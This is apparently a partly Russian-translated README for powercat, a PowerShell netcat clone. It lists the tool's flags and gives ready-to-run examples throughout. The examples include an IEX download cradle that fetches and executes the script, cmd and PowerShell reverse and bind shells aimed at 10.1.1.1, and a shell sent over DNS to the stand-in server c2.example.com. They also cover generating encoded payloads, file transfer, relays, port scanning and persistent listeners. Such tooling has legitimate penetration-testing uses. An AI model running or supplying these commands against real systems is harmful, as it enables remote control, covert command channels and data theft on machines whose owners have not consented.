
netshell: все функции в версии 2 PowerShell
Netcat: версия для PowerShell. (Поддерживаются PowerShell версии 2 и выше)
powercat — это функция PowerShell. Сначала необходимо загрузить функцию, прежде чем выполнять её. Вы можете добавить одну из приведённых ниже команд в свой профиль PowerShell, чтобы powercat автоматически загружался при запуске PowerShell.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l Ожидать подключение. [Switch]
-c Подключиться к слушателю. [String]
-p Порт для подключения или прослушивания. [String]
-e Выполнить. (GAPING_SECURITY_HOLE) [String]
-ep Выполнить PowerShell. [Switch]
-r Реле. Формат: "-r tcp:10.1.1.1:443" [String]
-u Передавать данные через UDP. [Switch]
-dns Передавать данные через DNS (dnscat2). [String]
-dnsft Порог сбоев DNS. [int32]
-t Тайм-аут. По умолчанию: 60 [int32]
-i Входные данные: путь к файлу (строка), массив байтов или строка. [object]
-o Тип вывода в консоль: "Host", "Bytes" или "String" [String]
-of Путь к выходному файлу. [String]
-d Отключиться после подключения. [Switch]
-rep Повторитель. Перезапустить после отключения. [Switch]
-g Сгенерировать полезную нагрузку. [Switch]
-ge Сгенерировать закодированную полезную нагрузку. [Switch]
-h Вывести справку. [Switch]
По умолчанию powercat читает ввод из консоли и выводит на консоль с помощью write-host. Вы можете изменить тип вывода на 'Bytes' или 'String' с помощью -o.
Basic Client:
powercat -c 10.1.1.1 -p 443
Basic Listener:
powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercat можно использовать для передачи файлов в обе стороны с помощью -i (входные данные) и -of (выходной файл).
Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
powercat можно использовать для отправки и обслуживания оболочек. Укажите исполняемый файл для -e или используйте -ep для выполнения PowerShell.
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
powercat -l -p 443 -ep
powercat поддерживает не только передачу данных через TCP. Укажите -u для включения режима UDP. Данные также можно отправлять на сервер dnscat2 с помощью -dns. Убедитесь, что при запуске сервера dnscat2 добавлен параметр "-e open --no-cache".
Send Data Over UDP:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
powercat -dns c2.example.com -e cmd
Реле в powercat работают так же, как традиционные реле netcat, но вам не нужно создавать файл или запускать второй процесс. Вы также можете ретранслировать данные между соединениями разных протоколов.
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP Listener to Listener Relay
powercat -l -p 8000 -r tcp:9000
Полезные нагрузки, выполняющие определённое действие, могут быть сгенерированы с помощью -g (сгенерировать полезную нагрузку) и -ge (сгенерировать закодированную полезную нагрузку). Закодированные полезные нагрузки можно выполнить с помощью powershell -E. Вы можете использовать их, если не хотите использовать весь powercat.
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
powercat -l -p 8000 -e cmd -ge
powercat также можно использовать для сканирования портов и запуска постоянных серверов.
Basic TCP Port Scanner:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep